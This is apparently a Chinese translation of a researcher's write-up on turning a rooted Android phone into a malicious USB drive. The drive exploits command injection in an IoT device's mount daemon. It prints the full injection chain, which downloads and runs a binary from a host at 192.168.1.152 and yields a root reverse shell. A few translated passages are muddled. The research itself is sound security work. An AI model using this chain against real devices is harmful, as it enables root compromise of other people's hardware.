溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

針對(duì)USB外設(shè)命令注入滲透的示例分析

發(fā)布時(shí)間:2021-12-28 10:27:47 來(lái)源:億速云 閱讀:153 作者:小新 欄目:數(shù)據(jù)安全

這篇文章將為大家詳細(xì)講解有關(guān)針對(duì)USB外設(shè)命令注入滲透的示例分析,小編覺(jué)得挺實(shí)用的,因此分享給大家做個(gè)參考,希望大家閱讀完這篇文章后可以有所收獲。

針對(duì)USB外設(shè)命令注入滲透的示例分析

寫(xiě)在前面的話

   當(dāng)我看到【這篇報(bào)告】的時(shí)候,我突然意識(shí)到將USB作為物聯(lián)網(wǎng)設(shè)備的攻擊面,也許會(huì)是一件有趣的事情?,F(xiàn)在很多設(shè)備都允許用戶使用USB設(shè)備,然后自動(dòng)執(zhí)行某些操作,但這種自動(dòng)化特性對(duì)于USB設(shè)備未免太過(guò)于信任了。

我發(fā)現(xiàn),有的物聯(lián)網(wǎng)設(shè)備會(huì)自動(dòng)掛載任何連接到它的USB大容量存儲(chǔ)設(shè)備,而且如果設(shè)備設(shè)置了某些特殊屬性,那么設(shè)備可能會(huì)使用這些屬性來(lái)創(chuàng)建掛載目錄名。此外,很多掛載操作是通過(guò)調(diào)用C系統(tǒng)函數(shù)實(shí)現(xiàn)的,而惡意USB設(shè)備就可以通過(guò)這種方式來(lái)實(shí)現(xiàn)任意命令執(zhí)行了。由于負(fù)責(zé)該操作的守護(hù)進(jìn)程是以root權(quán)限運(yùn)行的,因此攻擊者就可以將USB設(shè)備插入到設(shè)備后等待幾秒鐘,然后就能夠以root權(quán)限執(zhí)行任意命令了。

這里,我打算將我的Android設(shè)備變成一個(gè)定制版的USB外設(shè),然后進(jìn)行測(cè)試。我是用的是一個(gè)已root的Nexus 5X,系統(tǒng)版本為Android 8.1。接下來(lái),我們進(jìn)入主題。

將Android作為大容量存儲(chǔ)設(shè)備

這里我需要把Android設(shè)備作為USB大容量存儲(chǔ)設(shè)備來(lái)使用,并設(shè)置一些由我控制的屬性:產(chǎn)品名稱字符串、產(chǎn)品模型字符串和磁盤(pán)標(biāo)簽。

我對(duì)ConfigFS不是非常了解,但是在面對(duì)/config/usb_gadget時(shí),我打算使用ConfigFS方法來(lái)將我的設(shè)備變成一個(gè)大容量USB存儲(chǔ)設(shè)備。我自己寫(xiě)了一個(gè)腳本來(lái)創(chuàng)建所有的條目,但在測(cè)試時(shí),我遇到了如下提示:

mkdir: '/config/usb_gadget/g1/functions/mass_storage.0': Function not implemented

我也不太懂為什么這樣不行,但很明顯這個(gè)方法在這里并不適用。于是我開(kāi)始研究Android和Linux的內(nèi)核源碼,但源碼看得我有些腦瓜疼...最終我發(fā)現(xiàn),我只需要在設(shè)備上創(chuàng)建/bin/touch /tmp/haxxed,然后聲明自己為1337即可,所以我把重點(diǎn)放在Android的init文件上。

通過(guò)分析Android的init文件,我們會(huì)發(fā)現(xiàn)兩個(gè)針對(duì)USB的不同.rc文件:init.usb.configfs.rc和init.usb.rc。這兩份文件都會(huì)查看 sys.usb.configfs屬性,判斷init.usb.configfs.rc文件使用的屬性值是否為“1”,否則將使用init.usb.rc。在我的測(cè)試場(chǎng)景中,sys.usb.configfs為“0”,但我沒(méi)有測(cè)試sys.usb.configfs為“1”時(shí)會(huì)發(fā)生什么。

探索未知區(qū)域

既然我們的主要分析目標(biāo)落在了“ /sys/class/android_usb/android0”目錄的身上,那么我們先看看這個(gè)目錄里面有什么:

bullhead:/sys/class/android_usb/android0 # lsbDeviceClass           f_acm          f_ffs          f_rmnet     iManufacturer           powerbDeviceProtocol        f_audio        f_gps          f_rmnet_smd iProduct                remote_wakeupbDeviceSubClass        f_audio_source f_mass_storage f_rndis     iSerial                 statebcdDevice              f_ccid         f_midi         f_rndis_qc  idProduct               subsystemdown_pm_qos_sample_sec f_charging     f_mtp          f_serial    idVendor                ueventdown_pm_qos_threshold  f_diag         f_ncm          f_uasp      idle_pc_rpm_no_int_secs up_pm_qos_sample_secenable                 f_ecm          f_ptp          f_usb_mbim  pm_qos                  up_pm_qos_thresholdf_accessory            f_ecm_qc       f_qdss         functions   pm_qos_state

其中的idVendor, idProduct, iProduct, iManufacturer, 和f_mass_storage看起來(lái)都非常眼熟。如果你熟悉ConfigFS的話,f_mass_storage的內(nèi)容看起來(lái)跟mass_storage函數(shù)的內(nèi)容也很相似:

bullhead:/sys/class/android_usb/android0 # ls f_mass_storagedevice inquiry_string lun luns power subsystem ueventbullhead:/sys/class/android_usb/android0 # ls f_mass_storage/lunfile nofua power ro uevent

我的目標(biāo)只是通過(guò)制作一個(gè)惡意的usb設(shè)備來(lái)滲透目標(biāo)設(shè)備,而不是學(xué)習(xí)linux內(nèi)核的內(nèi)部工作原理以及如何將Android設(shè)置為usb外圍設(shè)備。我打算以后再深入探討這個(gè)問(wèn)題,屆時(shí)也許會(huì)寫(xiě)一篇更全面的博文。有很多關(guān)于源代碼和設(shè)備本身的文章也許可以幫助您了解如何使用這個(gè)目錄。

init.usb.rc文件的這幾行配置吸引了我的注意:

write /sys/class/android_usb/android0/enable 0            ....write /sys/class/android_usb/android0/functions ${sys.usb.config}write /sys/class/android_usb/android0/enable 1

那么當(dāng)我將開(kāi)發(fā)者設(shè)備插入目標(biāo)設(shè)備并使用ADB連接時(shí),這個(gè)函數(shù)會(huì)做什么呢?

bullhead:/sys/class/android_usb/android0 # cat functionsffs

我發(fā)現(xiàn),設(shè)備的ADB連接是通過(guò)FunctionFS實(shí)現(xiàn)的,而FunctionFS和ffs正好又是我的短板。這里需要修改其對(duì)應(yīng)的值,然后將其設(shè)置為mass_storage來(lái)看看會(huì)發(fā)生什么。

bullhead:/sys/class/android_usb/android0 # echo 0 > enable

好吧,我的ADB會(huì)話就這樣掛了。幸運(yùn)的是,ADB可以通過(guò)TCP/IP來(lái)工作,于是乎:

adb tcpip 5555adb connect 192.168.1.18:5555

連接成功后,我們就可以將USB設(shè)備變成大容量存儲(chǔ)設(shè)備了:

bullhead:/sys/class/android_usb/android0 # echo 0 > enablebullhead:/sys/class/android_usb/android0 # echo mass_storage > functionsbullhead:/sys/class/android_usb/android0 # echo 1 > enable

制作鏡像

在制作鏡像時(shí),我需要控制磁盤(pán)標(biāo)簽的值。主要是讓目標(biāo)設(shè)備將我們的設(shè)備識(shí)別為大容量存儲(chǔ)設(shè)備,并完成設(shè)備加載:

dd if=/dev/zero of=backing.img count=50 bs=1M

這條命令可以創(chuàng)建一個(gè)名為backing.img的文件,大小為50MB,然后使用fdisk對(duì)其進(jìn)行格式化處理:

echo -e -n 'o\nn\n\n\n\n\nt\nc\nw\n' | fdisk backing.img

運(yùn)行之后,效果如下:

Welcome to fdisk (util-linux 2.31.1).Changes will remain in memory only, until you decide to write them.Be careful before using the write command.Device does not contain a recognized partition table.Created a new DOS disklabel with disk identifier 0xd643eccd.Command (m for help): Created a new DOS disklabel with disk identifier 0x50270950.Command (m for help): Partition type   p   primary (0 primary, 0 extended, 4 free)   e   extended (container for logical partitions)Select (default p): Using default response p.Partition number (1-4, default 1): First sector (2048-20479, default 2048): Last sector, +sectors or +size{K,M,G,T,P} (2048-20479, default 20479): Created a new partition 1 of type 'Linux' and of size 9 MiB.Command (m for help): Selected partition 1Hex code (type L to list all codes): Changed type of partition 'Linux' to 'W95 FAT32 (LBA)'.Command (m for help): The partition table has been altered.Syncing disks.

接下來(lái),給鏡像添加一個(gè)DOS分區(qū)表,并使用FAT32格式:

# losetup --offset 1048576 -f backing.img /dev/loop0 # mkdosfs -n "HAX" /dev/loop0# losetup -d /dev/loop0

化整為零

在鏡像文件的幫助下,我們就可以實(shí)現(xiàn)完整功能的USB設(shè)備了:

$ adb tcpip 5555$ adb connect 192.168.1.18:5555$ adb push backing.img /dev/local/tmp/$ adb shell

在adb shell中運(yùn)行下列命令:

$ su# echo 0 > /sys/class/android_usb/android0/enable# echo '/data/local/tmp/backing.img' > /sys/class/android_usb/android0/f_mass_storage/lun/file# echo 'mass_storage' > /sys/class/android_usb/android0/functions# echo 1 > /sys/class/android_usb/android0/enable

如果一切順利的話,你將會(huì)看到如下內(nèi)容:

# lsusb -v -d 18d1:Bus 003 Device 036: ID 18d1:4ee7 Google Inc. Device Descriptor:  bLength                18  bDescriptorType         1  bcdUSB               2.00  bDeviceClass            0 (Defined at Interface level)  bDeviceSubClass         0   bDeviceProtocol         0   bMaxPacketSize0        64  idVendor           0x18d1 Google Inc.  idProduct          0x4ee7   bcdDevice            3.10  iManufacturer           1 LGE  iProduct                2 Nexus 5X  iSerial                 3 0000000000000000  bNumConfigurations      1  Configuration Descriptor:    bLength                 9    bDescriptorType         2    wTotalLength           32    bNumInterfaces          1    bConfigurationValue     1    iConfiguration          0     bmAttributes         0x80      (Bus Powered)    MaxPower              500mA    Interface Descriptor:      bLength                 9      bDescriptorType         4      bInterfaceNumber        0      bAlternateSetting       0      bNumEndpoints           2      bInterfaceClass         8 Mass Storage      bInterfaceSubClass      6 SCSI      bInterfaceProtocol     80 Bulk-Only      iInterface              5 Mass Storage      Endpoint Descriptor:        bLength                 7        bDescriptorType         5        bEndpointAddress     0x81  EP 1 IN        bmAttributes            2          Transfer Type            Bulk          Synch Type               None          Usage Type               Data        wMaxPacketSize     0x0200  1x 512 bytes        bInterval               0      Endpoint Descriptor:        bLength                 7        bDescriptorType         5        bEndpointAddress     0x01  EP 1 OUT        bmAttributes            2          Transfer Type            Bulk          Synch Type               None          Usage Type               Data        wMaxPacketSize     0x0200  1x 512 bytes        bInterval               1Device Qualifier (for other device speed):  bLength                10  bDescriptorType         6  bcdUSB               2.00  bDeviceClass            0 (Defined at Interface level)  bDeviceSubClass         0   bDeviceProtocol         0   bMaxPacketSize0        64  bNumConfigurations      1Device Status:     0x0000  (Bus Powered)

設(shè)備信息如下:

$ ls -lh /dev/disk/by-id lrwxrwxrwx 1 root root  9 Aug  2 14:35 usb-Linux_File-CD_Gadget_0000000000000000-0:0 -> ../../sdblrwxrwxrwx 1 root root 10 Aug  2 14:35 usb-Linux_File-CD_Gadget_0000000000000000-0:0-part1 -> ../../sdb1

設(shè)備加載:

$ mkdir HAX && sudo mount /dev/sdb1 HAX

我們此時(shí)可以根據(jù)自己的需要修改相關(guān)參數(shù):

# echo 0 > /sys/class/android_usb/android0/enable# echo 1337 > /sys/class/android_usb/android0/idProduct# echo 'Carve Systems' > /sys/class/android_usb/android0/iManufacturer# echo '1337 Hacking Team' > /sys/class/android_usb/android0/iProduct# echo 1 > /sys/class/android_usb/android0/enable$ lsusb -v -d 18d1:Bus 003 Device 044: ID 18d1:1337 Google Inc. Device Descriptor:            ....  idProduct          0x1337             ....  iManufacturer           1 Carve Systems  iProduct                2 1337 Hacking USB            ....

開(kāi)始滲透

我利用的代碼如下:

snprintf(dir, DIR_SIZE, "/mnt/storage/%s%s%s", LABEL, iManufacturer, iProduct);snprintf(cmd, CMD_SIZE, "mount %s %s", /dev/DEVICE, dir);system(cmd);

我的PoC漏洞利用步驟如下:

1、向存在漏洞的守護(hù)進(jìn)程的cwd注入一個(gè)shell腳本,然后生成一個(gè)反向Shell;

2、使用sh執(zhí)行該文件;

配置好Android設(shè)備后,我們就可以直接使用下列命令完成漏洞利用了:

echo 0 > enableecho ';{cmd};' > iProductecho 1 > enable

完整的命令鏈代碼如下:

# echo 0 > /sys/class/android_usb/android0/enable# echo ';echo${IFS}b=`printf$IFS'"'"'\\x2f'"'"'`>>a;' > /sys/class/android_usb/android0/iProduct# echo 1 > /sys/class/android_usb/android0/enable# echo 0 > /sys/class/android_usb/android0/enable# echo ';echo${IFS}s=\"$IFS\">>a;' > /sys/class/android_usb/android0/iProduct# echo 1 > /sys/class/android_usb/android0/enable# echo 0 > /sys/class/android_usb/android0/enable# echo ';echo${IFS}u=http:\$b\$192.168.1.152:8000\$shell>>a;' > /sys/class/android_usb/android0/iProduct# echo 1 > /sys/class/android_usb/android0/enable# echo 0 > /sys/class/android_usb/android0/enable# echo ';echo${IFS}curl\$s-s\$s-o\${s}shell\$s\$u>>a;' > /sys/class/android_usb/android0/iProduct# echo 1 > /sys/class/android_usb/android0/enable# echo 0 > /sys/class/android_usb/android0/enable# echo ';echo${IFS}chmod\$s+x\${s}shell>>a;' > /sys/class/android_usb/android0/iProduct# echo 1 > /sys/class/android_usb/android0/enable# echo 0 > /sys/class/android_usb/android0/enable# echo ';echo${IFS}\$shell>>a;' > /sys/class/android_usb/android0/iProduct# echo 1 > /sys/class/android_usb/android0/enable# echo 0 > /sys/class/android_usb/android0/enable# echo ';sh${IFS}a;' > /sys/class/android_usb/android0/iProduct# echo 1 > /sys/class/android_usb/android0/enable

命令運(yùn)行完成后將創(chuàng)建下列文件(/a):

b=/s=" "u=http:$b$192.168.1.152:8000$shellcurl$s-s$s-o${s}shell$s$uchmod$s+x${s}shell$shell

最后一條命令會(huì)使用“sh a”命令來(lái)執(zhí)行文件,腳本會(huì)給我們返回一個(gè)反向Shell Payload:

$ nc -l -p 3567iduid=0(root) gid=0(root) groups=0(root)

至此,我們的漏洞利用就算正式完成了。

關(guān)于“針對(duì)USB外設(shè)命令注入滲透的示例分析”這篇文章就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,使各位可以學(xué)到更多知識(shí),如果覺(jué)得文章不錯(cuò),請(qǐng)把它分享出去讓更多的人看到。

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

usb
AI